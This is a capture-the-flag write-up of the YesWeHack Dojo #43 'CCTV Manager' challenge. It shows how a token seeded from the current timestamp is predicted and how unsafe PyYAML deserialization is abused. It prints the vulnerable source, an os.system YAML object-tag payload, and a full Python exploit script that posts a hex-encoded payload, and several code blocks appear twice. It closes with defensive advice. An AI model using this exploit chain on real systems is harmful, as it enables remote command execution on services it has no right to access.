July 17, 2026
Breaking CCTV Manager — Solving YesWeHack Dojo #43
Predictable randomness meets unsafe YAML deserialization.

By 0xZeus
3 min read
Introduction
Security vulnerabilities rarely exist in isolation. More often than not, an attacker combines multiple weaknesses that individually seem harmless into a complete exploitation chain.
The YesWeHack Dojo #43 — CCTV Manager challenge is a perfect example of this principle. To obtain the flag, we don't exploit a single bug — we chain together two independent vulnerabilities:
- A predictable authentication token.
- Unsafe YAML deserialization.
Neither issue alone is enough to solve the challenge, but together they result in arbitrary command execution.
Let's walk through the entire exploitation process.
Looking at the Application
The challenge exposes two user-controlled parameters:
tokenyaml
and code as follow :
import time, yaml, random
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
class Firmware():
def __init__(self, version:str):
self.version = version
def update(self):
pass
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
def main():
tokenRoot = genToken(int(time.time()) // 1)
yamlConfig = unquote("")
tokenGuest = unquote("")
access = bool(tokenGuest == tokenRoot)
firmware = None
if access:
try:
data = yaml.load(yamlConfig, Loader=yaml.Loader)
firmware = Firmware(**data["firmware"])
firmware.update()
except:
pass
print( template.render(access=access) )
main()
import time, yaml, random
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
class Firmware():
def __init__(self, version:str):
self.version = version
def update(self):
pass
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
def main():
tokenRoot = genToken(int(time.time()) // 1)
yamlConfig = unquote("")
tokenGuest = unquote("")
access = bool(tokenGuest == tokenRoot)
firmware = None
if access:
try:
data = yaml.load(yamlConfig, Loader=yaml.Loader)
firmware = Firmware(**data["firmware"])
firmware.update()
except:
pass
print( template.render(access=access) )
main()
The source code reveals the following logic:
Request │ ├── token └── yaml │ ▼ Generate Token │ Compare Tokens │ Match? ├── No → Stop └── Yes │ ▼ Load YAML │ ▼ Firmware Object │ ▼ firmware.update()
At first glance, it seems impossible to reach the vulnerable YAML parser without first obtaining a valid authentication token.
Therefore, the first question becomes:
Can we predict the server-generated token?
Part 1 — Breaking the Authentication
The authentication token is generated using the following function.
def genToken(seed):
random.seed(seed)
return ''.join(random.choices(
'abcdef0123456789',
k=16
))def genToken(seed):
random.seed(seed)
return ''.join(random.choices(
'abcdef0123456789',
k=16
))The important part happens here:
tokenRoot = genToken(int(time.time()) // 1)tokenRoot = genToken(int(time.time()) // 1)Initially this looks random.
But it really isn't ; )
The Problem with random.seed()
Python's random module is not designed for cryptography.
Instead, it is completely deterministic.
This means:
Same seed → Same random sequence
The server chooses its seed using the current Unix timestamp.
Current Time
- StepOperation1
time.time()returns the current Unix timestamp int(time.time())truncates the fractional seconds- The integer timestamp is passed to
random.seed() random.choices()generates the authentication token
Because an attacker knows approximately what time the server is running, they can simply initialize their own random generator using exactly the same timestamp.
Both generators will therefore produce the exact same "random" token.
Authentication is effectively defeated.
Reproducing the Token
Our exploit recreates the server's logic exactly.
def genToken(seed):
random.seed(seed)
return ''.join(random.choices(
'abcdef0123456789',
k=16
))def genToken(seed):
random.seed(seed)
return ''.join(random.choices(
'abcdef0123456789',
k=16
))Then we simply generate the expected token.
token = genToken(int(time.time()) + 1)token = genToken(int(time.time()) + 1)You might notice the +1.
This accounts for the small delay between generating the token locally and the server processing our request.
Depending on timing, using the current second or the following second is enough to synchronize with the server.
Once we can predict the token, the authentication check becomes meaningless.
Part 2 — The Real Vulnerability
Now we can finally reach this code.
data = yaml.load(
yamlConfig,
Loader=yaml.Loader
)data = yaml.load(
yamlConfig,
Loader=yaml.Loader
)This line immediately stands out.
The application uses
yaml.Loaderyaml.Loaderinstead of a safer alternative like
yaml.SafeLoaderyaml.SafeLoaderThat seemingly small difference changes everything.
Why is yaml.Loader Dangerous?
yaml.Loader supports Python-specific object tags.
For example:
!!python/object/new:os.system
- "echo $FLAG"!!python/object/new:os.system
- "echo $FLAG"This isn't just data.
It tells PyYAML to construct a new Python object by invoking
os.system("echo $FLAG")os.system("echo $FLAG")During deserialization.
Since the application blindly deserializes user-controlled input, we effectively gain arbitrary command execution.
The Complete Attack Chain
At this point the exploit becomes straightforward.
Attack Chain
- Predict the timestamp used as the PRNG seed.
- Reproduce the server's authentication token.
- Pass the token validation.
- Deliver a malicious YAML payload.
- Abuse
yaml.Loaderto instantiate a Python object. - Execute
os.system()and obtain the flag.
Every individual step is simple.
The interesting part is chaining them together.
Final Exploit
The final exploit simply combines both vulnerabilities.
First, generate the predictable token.
Then submit a malicious YAML payload.
import time
import requests as r
import random
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
token = genToken(int((time.time()) // 1)+1)
cookies = {"jwt":"<ywh token>"}
payload = "\x21\x21\x70\x79\x74\x68\x6F\x6E\x2F\x6F\x62\x6A\x65\x63\x74\x2F\x6E\x65\x77\x3A\x6F\x73\x2E\x73\x79\x73\x74\x65\x6D\x20\x5B\x22\x65\x63\x68\x6F\x20\x24\x46\x4C\x41\x47\x22\x5D"
data = {"yaml":payload,"token":token}
url = "https://dojo-yeswehack.com/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
res = r.post(url,data,cookies=cookies)
print(res.text)import time
import requests as r
import random
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
token = genToken(int((time.time()) // 1)+1)
cookies = {"jwt":"<ywh token>"}
payload = "\x21\x21\x70\x79\x74\x68\x6F\x6E\x2F\x6F\x62\x6A\x65\x63\x74\x2F\x6E\x65\x77\x3A\x6F\x73\x2E\x73\x79\x73\x74\x65\x6D\x20\x5B\x22\x65\x63\x68\x6F\x20\x24\x46\x4C\x41\x47\x22\x5D"
data = {"yaml":payload,"token":token}
url = "https://dojo-yeswehack.com/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
res = r.post(url,data,cookies=cookies)
print(res.text)as you can see the payload is encoded and this is how yaml read data .
Once the request reaches the server:
- The generated token matches.
- Authentication succeeds.
- The YAML is deserialized.
os.system()executes.- The flag is returned.
Lessons Learned
This challenge demonstrates two common security pitfalls.
1. Never use random for security
Python's random module is deterministic.
For authentication tokens, session identifiers, password reset links, or API keys, use the secrets module instead.
2. Never deserialize untrusted YAML
Calling
yaml.load(..., Loader=yaml.Loader)yaml.load(..., Loader=yaml.Loader)on attacker-controlled input is extremely dangerous.
Whenever possible, use
yaml.safe_load()yaml.safe_load()or
Loader=yaml.SafeLoaderLoader=yaml.SafeLoaderto disable arbitrary Python object construction.
Conclusion
The elegance of this challenge lies in its exploit chain.
Neither vulnerability alone completely compromises the application.
The predictable PRNG seed allows us to bypass authentication, while the unsafe YAML deserialization transforms that access into arbitrary command execution.
It's a great reminder that real-world compromises often result from multiple low- or medium-severity issues interacting, rather than a single catastrophic bug.
the Flag :
Thank you for reading .